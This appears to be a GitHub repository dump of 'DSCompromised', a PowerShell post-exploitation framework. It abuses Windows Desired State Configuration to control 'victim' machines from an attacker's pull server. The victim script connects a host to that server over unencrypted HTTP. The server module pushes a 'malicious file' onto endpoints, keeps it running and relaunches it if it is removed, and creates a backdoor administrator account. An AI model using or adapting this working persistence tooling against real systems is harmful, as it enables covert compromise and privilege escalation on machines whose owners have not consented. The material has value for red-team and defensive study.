├── README.md ├── Configure-Victim.ps1 └── Configure-Server.psm1 /README.md: -------------------------------------------------------------------------------- 1 | # DSCompromised 2 | PowerShell framework for managing and infecting systems via Windows Desired State Configuration (DSC) 3 | DSC is a built-in feature in Windows Management Framework 4.0 (PowerShell v4) and is installed natively 4 | on Windows operating systems beginning with Server 2012 R2 and Windows 8.1. 5 | 6 | ## Getting Started 7 | 8 | ### Set up pull server 9 | 10 | 1. Must have PowerShell 4.0 or later installed 11 | 2. Install DSC service 12 | - `Add-WindowsFeature Dsc-Service -IncludeManagementTools` 13 | - This will only work on Server 2012 R2 or later 14 | - See [link](https://davewyatt.wordpress.com/2014/06/07/how-to-install-a-dsc-pull-server-on-windows-2008-r2/) for steps to go through the pain of installing on Server 2008 15 | 3. Download [xPSDesiredStateConfiguration Module](https://gallery.technet.microsoft.com/xPSDesiredStateConfiguratio-417dc71d) 16 | 4. Unzip the contentsto $env:ProgramFiles\WindowsPowerShell\Modules and relaunch PS 17 | 5. To confirm installation run `Get-DSCResource` and confirm the following modules are present: 18 | - xDscWebService 19 | - xWindowsProcess 20 | - xService 21 | - xRemoteFile 22 | - xPackage 23 | - xGroup 24 | - xFileUpload 25 | 6. Verify winrm is running with command `winrm quickconfig` 26 | 7. Run `Configure-Server` function from `Configure-Server.psm1` 27 | 28 | ### Create Configuration 29 | 30 | 1. On server run generate varaibles as `Configure-Payload` or `Configure-User` objects 31 | 2. Run `Generate-Config`. The output of this function is a GUID 32 | 2. Save **GUID** for victim configuration 33 | 3. Save **Pull Server Address** for victime configuration 34 | 35 | ### Configure Victim 36 | 37 | 1. On victim run import `Configure-Victim.ps1` and run `Configure-Victim 38 | 2. Provide **GUID** and **Remote Address** as arguments 39 | 40 | ## Troubleshooting 41 | 42 | - If you get the error `Invoke-CimMethod : The SendConfigurationApply function did not succeed.` when attempting to run a very short-lived process (e.g. a console app that requires arguments that have been omitted, thereby terminating immediately), it may be due to the OS mis-interpreting that the configuration failed. The process still executed. -------------------------------------------------------------------------------- /Configure-Victim.ps1: -------------------------------------------------------------------------------- 1 | function Configure-Victim 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Registers victim host with DSC pull server 7 | 8 | .DESCRIPTION 9 | 10 | Registers victim machine with DSC server, downloads and applies specified configuration (GUID), and defines the local configuration manager (LCM) 11 | 12 | .PARAMETER Guid 13 | 14 | GUID to be used to pull the correct configuration (GUID is generated previously, server side, when the configuration is created). 15 | 16 | .PARAMETER DSCServer 17 | 18 | Metwork address of the remote DSC server 19 | 20 | .PARAMETER MofPath 21 | 22 | Optional parameter of the temporary MOF file location. 23 | If parameter is not supplied the file is written to C:\Windows\System32\Configuration\PullConfig.mof then deleted. 24 | 25 | 26 | .EXAMPLE 27 | 28 | PS C:\> Configure-Victim -GUID 1505960a-99f1-41fa-9c9f-50b4b56c2a0d -Server 8.8.8.8 29 | 30 | Description 31 | ----------- 32 | Victim downloads configuration with GUID 1505960a-99f1-41fa-9c9f-50b4b56c2a0d from the server at 8.8.8.8. 33 | 34 | .EXAMPLE 35 | 36 | PS C:\> Configure-Victim -GUID 1505960a-99f1-41fa-9c9f-50b4b56c2a0d -Server 8.8.8.8 -MofPath C:\Temp\Temp.mof 37 | 38 | Description 39 | ----------- 40 | 41 | Victim downloads configuration with GUID 1505960a-99f1-41fa-9c9f-50b4b56c2a0d from the server at 8.8.8.8. 42 | Optional parameter 'MofPath' determines temporary mof file is written to 'C:\Temp\Temp.mof'. 43 | Note: In both cases the mof file is temporary and deleted before script terminates. 44 | 45 | .EXAMPLE 46 | 47 | PS C:\> Configure-Victim -GUID 1505960a-99f1-41fa-9c9f-50b4b56c2a0d -Server 8.8.8.8 -Port 443 48 | 49 | Description 50 | ----------- 51 | 52 | Victim downloads configuration with GUID 1505960a-99f1-41fa-9c9f-50b4b56c2a0d from the server at 8.8.8.8. 53 | Optional 'port' parameter determines the remote port where configuration is hosted 54 | Note: If 'port' parameter is not used the default port is 8080 55 | 56 | 57 | #> 58 | 59 | 60 | [CmdletBinding()] Param( 61 | [Parameter(Mandatory = $True)] 62 | [ValidateLength(36, 36)] 63 | [String] $GUID, 64 | 65 | [Parameter(Mandatory = $True)] 66 | [String] $Server, 67 | 68 | [Parameter(Mandatory = $False)] 69 | [ValidatePattern('\.mof$')] 70 | [String] $MofPath = "C:\Windows\System32\Configuration\PullConfig.mof", 71 | 72 | [Parameter(Mandatory = $False)] 73 | [String] $Port = "8080" 74 | 75 | 76 | 77 | ) 78 | 79 | 80 | Configuration ConfigurePullServer 81 | { 82 | param ($NodeId, $PullServer) 83 | 84 | LocalConfigurationManager 85 | { 86 | AllowModuleOverwrite = $True 87 | ConfigurationID = $NodeId 88 | # Minutes between target policy being implemented 89 | ConfigurationModeFrequencyMins = 15 90 | ConfigurationMode = 'ApplyAndAutoCorrect' 91 | # Minutes between pull server requests 92 | RefreshFrequencyMins = 30 93 | RebootNodeIfNeeded = $False 94 | RefreshMode = 'Pull' 95 | DownloadManagerName = 'WebDownloadManager' 96 | DownloadManagerCustomData = (@{ServerUrl = "http://${PullServer}:${Port}/psdscpullserver.svc"; 97 | AllowUnsecureConnection = “TRUE”}) 98 | 99 | } 100 | } 101 | 102 | winrm quickconfig -quiet 103 | 104 | 105 | ConfigurePullServer -NodeId $GUID -PullServer $Server -OutputPath $MOFPath 106 | 107 | Set-DscLocalConfigurationManager -path $MofPath -Verbose 108 | 109 | Update-DscConfiguration -Wait 110 | 111 | Remove-Item -Path $MofPath -Force -Recurse 112 | } -------------------------------------------------------------------------------- /Configure-Server.psm1: -------------------------------------------------------------------------------- 1 | function New-Configuration { 2 | <# 3 | .SYNOPSIS 4 | 5 | Creates DSC configuration from provided resource objects 6 | 7 | .DESCRIPTION 8 | 9 | Creates DSC configuration. Given an array of resource objects creates and hosts configuration. 10 | 11 | .PARAMETER ResourceObject 12 | 13 | Object array of resources to be included in configuration 14 | 15 | .EXAMPLE 16 | 17 | PS C:\> New-Configuration -ResourceObject $User,$Payload 18 | 19 | Description 20 | ----------- 21 | 22 | Creates configuration from two previously defined objects $User and $Payload 23 | 24 | #> 25 | 26 | [CmdletBinding()] Param( 27 | [Parameter(Mandatory = $True, 28 | ValueFromPipeline=$True 29 | )] 30 | [Object[]] $ResourceObject 31 | ) 32 | # Create GUID for configuration 33 | $Guid = [guid]::NewGuid() 34 | 35 | 36 | Configuration CombinedConfig { 37 | Param( 38 | [Parameter(Mandatory = $True)] 39 | [String[]] $NodeGUID 40 | ) 41 | 42 | Node $NodeGUID { 43 | foreach ($configobj in $ResourceObject){ 44 | If ($configobj.Type -eq "Payload") { 45 | $FileBytes = [System.IO.File]::ReadAllBytes($configobj.Sourcefile) 46 | CreatePayload $configobj.DestinationPath {} 47 | } 48 | ElseIf ($configobj.Type -eq "User") { 49 | CreateAdmin $configobj.Username {} 50 | 51 | } 52 | } 53 | 54 | } 55 | 56 | } 57 | 58 | Configuration CreatePayload { 59 | $DestinationPath = $configobj.DestinationPath 60 | $Arguments = $configobj.Arguments 61 | Script Ensure-File { 62 | SetScript = $([string]{ 63 | $bytes = [byte[]]($FileBytes).split(' ') 64 | [System.IO.File]::WriteAllBytes($DestinationPath, $bytes) 65 | }).Replace('$FileBytes', "'$FileBytes'").Replace('$DestinationPath', "'$DestinationPath'") 66 | 67 | TestScript = $([string]{ 68 | Test-Path $DestinationPath 69 | }).Replace('DestinationPath', "'$DestinationPath'") 70 | 71 | GetScript = { 72 | return @{ 73 | GetScript = $GetScript 74 | SetScript = $SetScript 75 | TestScript = $TestScript 76 | } 77 | } 78 | } 79 | Script Ensure-Process { 80 | SetScript = $([string]{ 81 | if ($Arguments -eq "") { 82 | Start-Process $DestinationPath 83 | } 84 | else { 85 | Start-Process $DestinationPath $Arguments 86 | } 87 | }).Replace('$DestinationPath', "'$DestinationPath'").Replace('$Arguments', "'$Arguments'") 88 | TestScript = $([string]{ 89 | (get-process).path -contains $DestinationPath 90 | }).Replace('$DestinationPath', "'$DestinationPath'") 91 | 92 | GetScript = { 93 | return @{ 94 | GetScript = $GetScript 95 | SetScript = $SetScript 96 | TestScript = $TestScript 97 | } 98 | } 99 | } 100 | 101 | } 102 | 103 | $configData = @{ 104 | AllNodes = @( 105 | @{ 106 | NodeName = [string]$Guid; 107 | PSDscAllowPlainTextPassword = $true 108 | } 109 | ) 110 | } 111 | 112 | Configuration CreateAdmin { 113 | 114 | $Username = $configobj.Username 115 | $Password = $configobj.Password 116 | $Group = $configobj.Group 117 | 118 | $pass = ConvertTo-SecureString $Password -AsPlainText -Force 119 | $credObject = New-Object System.Management.Automation.PSCredential($Username, $pass) 120 | 121 | 122 | 123 | User newUser { 124 | UserName = $Username 125 | Password = $credObject 126 | PasswordNeverExpires = $false 127 | Ensure = "Present" 128 | } 129 | Group Admins { 130 | Ensure = "Present" 131 | GroupName = $Group 132 | MembersToInclude = $Username 133 | DependsOn = "[User]newUser" 134 | 135 | 136 | } 137 | } 138 | 139 | CombinedConfig -NodeGUID $Guid -ConfigurationData $configData -OutputPath "$env:SystemDrive\Program Files\WindowsPowershell\DscService\Configuration" 140 | 141 | New-DscChecksum -ConfigurationPath "$env:SystemDrive\Program Files\WindowsPowershell\DscService\Configuration\" -OutPath "$env:SystemDrive\Program Files\WindowsPowershell\DscService\Configuration" 142 | 143 | 144 | } 145 | 146 | 147 | function New-User { 148 | <# 149 | .SYNOPSIS 150 | 151 | Initiates a user object to be used in configuring DSC pull server 152 | 153 | .DESCRIPTION 154 | 155 | Returns a create user object. This object is to passed to"Generate-Configuration" when creating a user configuration. 156 | 157 | 158 | .PARAMETER Username 159 | 160 | Name of account to be created on endpoints. 161 | If not given at the command line this propery must be set before running "Generate-Configuration". 162 | 163 | .PARAMETER Password 164 | 165 | Password used for user account. Password must meet complexity requirements of any infected endpoint or user account will not be created. 166 | If not given at the command line this propery must be set before running "Generate-Configuration". 167 | Note: Password is stored in clear text within the MOF file. 168 | 169 | .PARAMETER Group 170 | 171 | Optionally specifies the group the user should be added to. Default is 'Adminstrators'. 172 | 173 | .EXAMPLE 174 | 175 | PS C:\> New-User -Username test_user -Password Long_And_Complex! 176 | 177 | Description 178 | ----------- 179 | 180 | Creates an object for the user account 'test_user' with password 'Long_And_Complex!' and adds user to local administrators group. 181 | 182 | 183 | .EXAMPLE 184 | 185 | 186 | PS C:\> New-User -Username test_user -Password Long_And_Complex! -Group RemoteAdmins 187 | 188 | Description 189 | ----------- 190 | Creates an object for the user account 'test_user' with password 'Long_And_Complex!' and adds user to local 'RemoteAdmins' group. 191 | 192 | 193 | #> 194 | [CmdletBinding()] Param( 195 | [Parameter(Mandatory = $False)] 196 | [String] $Username = "", 197 | 198 | [Parameter(Mandatory = $False)] 199 | [String] $Password = "", 200 | 201 | [Parameter(Mandatory = $False)] 202 | [String] $Group = "Administrators" 203 | ) 204 | 205 | $newUserObject = New-Object -TypeName PSObject 206 | $newUserObject | Add-Member -MemberType NoteProperty -Name Username -Value $Username 207 | $newUserObject | Add-Member -MemberType NoteProperty -Name Password -Value $Password 208 | $newUserObject | Add-Member -MemberType NoteProperty -Name Group -Value $Group 209 | $newUserObject | Add-Member -MemberType NoteProperty -Name Type -Value "User" 210 | 211 | return $newUserObject 212 | } 213 | 214 | 215 | function New-Payload 216 | { 217 | <# 218 | .SYNOPSIS 219 | 220 | Initiates a payload object for file and process persistence 221 | 222 | .DESCRIPTION 223 | 224 | Script ensures a file is present and running on a compromised endpoint. 225 | This object is to passed to"Generate-Configuration" when creating a user configuration. 226 | 227 | Must be run on the DSC server before configuring any endpoints. 228 | 229 | Malicious file must be present server side at time of initial configuration. 230 | 231 | .PARAMETER SourceFile 232 | 233 | Local path to the malicious file that will persistent on compromised endpoints. 234 | If not given at the command line this propery must be set before running "Generate-Configuration". 235 | 236 | .PARAMETER DestinationPath 237 | 238 | Location on compromised endpoints where the contents of 'SourceFile' should be written on compromomised endpoints. 239 | If not given at the command line this propery must be set before running "Generate-Configuration". 240 | 241 | .PARAMETER Arguments 242 | 243 | Optionally specifies command line arguments provided to during execution. 244 | 245 | .EXAMPLE 246 | 247 | 248 | PS C:\> New-Payload -SourceFile C:\Windows\System32\calc.exe -DestinationPath C:\calc.exe 249 | 250 | Description 251 | ----------- 252 | Server Side: 253 | Creates an object which points to C:\Windows\System32\calc.exe which will be read into configuration 254 | 255 | Victim Side: 256 | Creates file C:\calc.exe with contents of C:\Windows\System32\calc.exe and ensures file is running 257 | If file is deleted or process is stopped script will recreate file and/or relaunch process 258 | 259 | #> 260 | 261 | [CmdletBinding()] Param( 262 | [Parameter(Mandatory = $False)] 263 | [String] $SourceFile = "", 264 | 265 | [Parameter(Mandatory = $False)] 266 | [String] $DestinationPath = "", 267 | 268 | [Parameter(Mandatory = $False)] 269 | [String] $Arguments 270 | 271 | ) 272 | 273 | $newPayloadObject = New-Object -TypeName PSObject 274 | $newPayloadObject | Add-Member -MemberType NoteProperty -Name SourceFile -Value $SourceFile 275 | $newPayloadObject | Add-Member -MemberType NoteProperty -Name DestinationPath -Value $DestinationPath 276 | $newPayloadObject | Add-Member -MemberType NoteProperty -Name Arguments -Value $Arguments 277 | $newPayloadObject | Add-Member -MemberType NoteProperty -Name Type -Value "Payload" 278 | 279 | return $newPayloadObject 280 | } 281 | function Initialize-Server { 282 | 283 | <# 284 | .SYNOPSIS 285 | 286 | Establishes initial configuration for DSC Pull Server 287 | 288 | .DESCRIPTION 289 | 290 | Creates configuration necessary for server to function as DSC Pull Server. 291 | 292 | Requirements: 293 | PowerShell 4.0 or greater 294 | Windows feature Dsc-Service 295 | Installed xPSDesiredStateConfiguration Module 296 | 297 | .PARAMETER CompliancePort 298 | 299 | Optional parameter that speficies port where the compliance service is hosted. 300 | Note: Default port is 9080 301 | 302 | .PARAMETER ConfigPort 303 | 304 | Optional parameter that specifies port where configurations are hosts. 305 | Note: Default port is 8080 306 | 307 | .EXAMPLE 308 | 309 | PS C:\> Initialize-Server -CompliancePort 9000 -ConfigPort 443 310 | 311 | Description 312 | ----------- 313 | Configures pull server to host compliance reports on port 9000 and configurations on port 443 314 | 315 | #> 316 | 317 | [CmdletBinding()] Param( 318 | 319 | [Parameter(Mandatory = $False)] 320 | [ValidateRange(0,65535)] 321 | [Int] $CompliancePort = 9080, 322 | 323 | [Parameter(Mandatory = $False)] 324 | [ValidateRange(0,65535)] 325 | [Int] $ConfigPort = 8080 326 | 327 | ) 328 | 329 | 330 | configuration SetupPullServer 331 | { 332 | param 333 | ( 334 | [string[]]$ComputerName = 'localhost' 335 | ) 336 | 337 | Import-DSCResource -ModuleName xPSDesiredStateConfiguration 338 | 339 | Node $ComputerName 340 | { 341 | WindowsFeature DSCServiceFeature 342 | { 343 | Ensure = "Present" 344 | Name = "DSC-Service" 345 | } 346 | 347 | xDscWebService PSDSCPullServer 348 | { 349 | Ensure = "Present" 350 | EndpointName = "PSDSCPullServer" 351 | Port = $ConfigPort 352 | PhysicalPath = "$env:SystemDrive\inetpub\wwwroot\PSDSCPullServer" 353 | CertificateThumbPrint = "AllowUnencryptedTraffic" 354 | ModulePath = "$env:PROGRAMFILES\WindowsPowerShell\DscService\Modules" 355 | ConfigurationPath = "$env:PROGRAMFILES\WindowsPowerShell\DscService\Configuration" 356 | State = "Started" 357 | DependsOn = "[WindowsFeature]DSCServiceFeature" 358 | } 359 | 360 | xDscWebService PSDSCComplianceServer 361 | { 362 | Ensure = "Present" 363 | EndpointName = "PSDSCComplianceServer" 364 | Port = $CompliancePort 365 | PhysicalPath = "$env:SystemDrive\inetpub\wwwroot\PSDSCComplianceServer" 366 | CertificateThumbPrint = "AllowUnencryptedTraffic" 367 | State = "Started" 368 | IsComplianceServer = $true 369 | DependsOn = ("[WindowsFeature]DSCServiceFeature","[xDSCWebService]PSDSCPullServer") 370 | } 371 | } 372 | } 373 | 374 | SetupPullServer -ComputerName $env:computername 375 | Start-DscConfiguration .\SetupPullServer -Force -EA SilentlyContinue 376 | 377 | } 378 | 379 | function Get-Compliance{ 380 | <# 381 | .SYNOPSIS 382 | 383 | Queries information from DSC Compliance server 384 | 385 | .DESCRIPTION 386 | 387 | Queries DSC compliance server and returns PS objects for each computer where data is stored. 388 | 389 | .PARAMETER URI 390 | 391 | Optional parameter to compliance server URI 392 | 393 | .EXAMPLE 394 | 395 | PS C:\> Get-Compliance 396 | 397 | Description 398 | ----------- 399 | 400 | Queries compliance server at the defaul URI (127.0.0.1) on the default port (9080) 401 | 402 | #> 403 | 404 | [CmdletBinding()] Param( 405 | [Parameter(Mandatory = $False)] 406 | [String] $URI = "http://127.0.0.1:9080/PSDSCComplianceServer.svc/Status" 407 | 408 | ) 409 | 410 | $StCodes = @" 411 | 0 = Pull operation was successful 412 | 1 = Download Manager initialization failure 413 | 2 = Get configuration command failure 414 | 3 = Unexpected get configuration response from pull server 415 | 4 = Configuration checksum file read failure 416 | 5 = Configuration checksum validation failure 417 | 6 = Invalid configuration file 418 | 7 = Available modules check failure 419 | 8 = Invalid configuration Id In meta-configuration 420 | 9 = Invalid DownloadManager CustomData in meta-configuration 421 | 10 = Get module command failure 422 | 11 = Get Module Invalid Output 423 | 12 = Module checksum file not found 424 | 13 = Invalid module file 425 | 14 = Module checksum validation failure 426 | 15 = Module extraction failed 427 | 16 = Module validation failed 428 | 17 = Downloaded module is invalid 429 | 18 = Configuration file not found 430 | 19 = Multiple configuration files found 431 | 20 = Configuration checksum file not found 432 | 21 = Module not found 433 | 22 = Invalid module version format 434 | 23 = Invalid configuration Id format 435 | 24 = Get Action command failed 436 | 25 = Invalid checksum algorithm 437 | 26 = Get Lcm Update command failed 438 | 27 = Unexpected Get Lcm Update response from pull server 439 | 28 = Invalid Refresh Mode in meta-configuration 440 | 29 = Invalid Debug Mode in meta-configuration 441 | "@ 442 | $StCodeHashTable = ConvertFrom-StringData $StCodes 443 | 444 | $Type = "application/json" 445 | 446 | $httpCode = Invoke-WebRequest -Uri $URI -ContentType $Type -Method Get -Headers @{Accept = $Type } -UseDefaultCredentials 447 | 448 | if( $httpCode.StatusCode -ne 200 ) 449 | { 450 | Write-Host "Failed to query compliance server" 451 | return 452 | } 453 | 454 | $Json = ConvertFrom-Json $httpCode.Content 455 | 456 | [System.Collections.ArrayList]$ReturnArray = @() 457 | 458 | ForEach ($Comp in $Json.value) 459 | { 460 | 461 | $ComplyObj = New-Object -TypeName PSObject -Property @{ 462 | 463 | 'Computer' = $Comp.TargetName 464 | 'ConfigID' = $Comp.ConfigurationId 465 | 'ConfigCheckSum' = $Comp.TargetCheckSum 466 | 'Compliant' = $Comp.NodeCompliant 467 | 'LastComplianceTime' = $Comp.LastComplianceTime 468 | 'LastCheckinTime' = $Comp.LastHeartbeatTime 469 | 'NodeStatus' = $StCodeHashTable.Get_Item([string]$Comp.StatusCode) 470 | 471 | } 472 | $ReturnArray.Add($ComplyObj) | Out-Null 473 | } 474 | 475 | return $ReturnArray 476 | 477 | } 478 | --------------------------------------------------------------------------------